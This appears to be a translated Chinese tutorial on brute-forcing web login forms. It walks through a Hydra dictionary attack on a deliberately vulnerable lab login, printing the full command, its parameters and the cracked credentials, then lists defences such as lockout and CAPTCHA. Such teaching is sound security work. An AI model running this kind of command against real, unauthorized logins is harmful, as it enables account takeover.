📜  基于 Web 的登录的自动暴力破解

📅  最后修改于: 2021-10-18 12:28:25             🧑  作者: Mango

蛮力攻击的工作原理是计算可以构成密码的每个可能的组合并测试它是否是正确的密码。随着密码长度的增加,平均而言,找到正确密码的时间会呈指数增长。这意味着通常可以很快发现短密码,但较长的密码可能需要数十年时间 [来源:维基]

随着计算机硬件越来越快,这在某些情况下可能是可行的。一个简单的蛮力攻击将从一位数密码开始,然后是两位数密码,依此类推,尝试所有可能的组合,直到一个成功。

一个更好的主意是“字典攻击”,它会尝试字典中的单词——或常用密码列表——而不是所有可能的密码。这可能非常有效,因为许多人使用这种弱密码和通用密码。

我们可以使用自动化工具来暴力破解基于 Web 的登录表单

使用 Hydra 字典攻击基于 Web 的登录表单
Hydra 是用于字典攻击的在线密码破解。它会尝试用户名和密码列表,直到找到成功登录。它是多线程的,可以以每分钟数千次的速度尝试用户名/密码组合 [来源

Hydra 可用于攻击许多不同的服务,包括 IMAP、SMB、HTTP、VNC、MS-SQL MySQL、SMTP、SSH 等等

不应使用此工具来攻击您无权攻击的网站或服务。仅将其用于合法的测试目的。

攻击示例
Web Security Dojo 有各种易受攻击的应用程序,您可以使用它们来测试这些技术。所以看一个例子,w3af 测试框架在以下位置有一个测试登录

http://192.168.1.69/w3af/bruteforce/form_login/

HTML 表单的重要部分是:

Username:    Password:

如果我们输入一个错误的用户名和密码组合,我们会得到:

登录错误,停止对我进行暴力破解!用户的 u/p 组合错误:a
所以,现在我们有了攻击这个登录表单所需的信息,我们可以使用这些信息来构建一个 Hydra 蛮力攻击,如下所示:

hydra 192.168.1.69 http-form-post "/w3af/bruteforce/form_login/dataReceptor.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt

如果我们打破这个

Host = 192.168.1.69
Method = http-form-post
URL = /w3af/bruteforce/form_login/dataReceptor.php
Form parameters = user=^USER^&pass=^PASS^
Failure response = Bad login
Users file = users.txt
Password file = pass.txt
Threads = -t 10
Wait for timeout = -w 30
Output file = -o hydra-http-post-attack.txt

Hydra 基本上遍历所有用户名/密码组合,直到得到不包含文本“错误登录”的响应。当我们运行这个攻击时,我们得到:

Hydra basically iterates through all the username/password combinations, until it gets a response that does not contain the text "Bad login". When we run this attack we get:



Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.Hydra (http://www.thc.org/thc-hydra) starting at 2011-08-22 13:11:03
[DATA] 5 tasks, 1 servers, 5 login tries (l:5/p:1), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for 192.168.1.69 (waiting for children to finish)
[80][www-form] host: 192.168.1.69   login: admin   password: 1234
Hydra (http://www.thc.org/thc-hydra) finished at 2011-08-22 13:11:07

As you can see, this was successful and found the user "admin" with password "1234".

预防

  1. 一是实施账户锁定政策。例如,在登录尝试失败 3 次后,该帐户将被锁定,直到管理员将其解锁。
  2. 我们应该使用质询-响应测试来防止登录页面的自动提交。免费的 reCAPTCHA 等工具可用于要求用户输入单词或解决简单的数学问题,以确保用户实际上是一个人。
  3. 任何 Web 应用程序都应该强制使用强密码。至少,要求用户选择具有一定复杂性(字母和数字,或需要一个特殊字符)的 8 个或更多字母的密码是抵御蛮力攻击的极好方法。

来源
http://searchsecurity.techtarget.com/definition/brute-force-cracking
https://en.wikipedia.org/wiki/Brute-force_attack
https://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/
https://sourceforge.net/projects/websecuritydojo/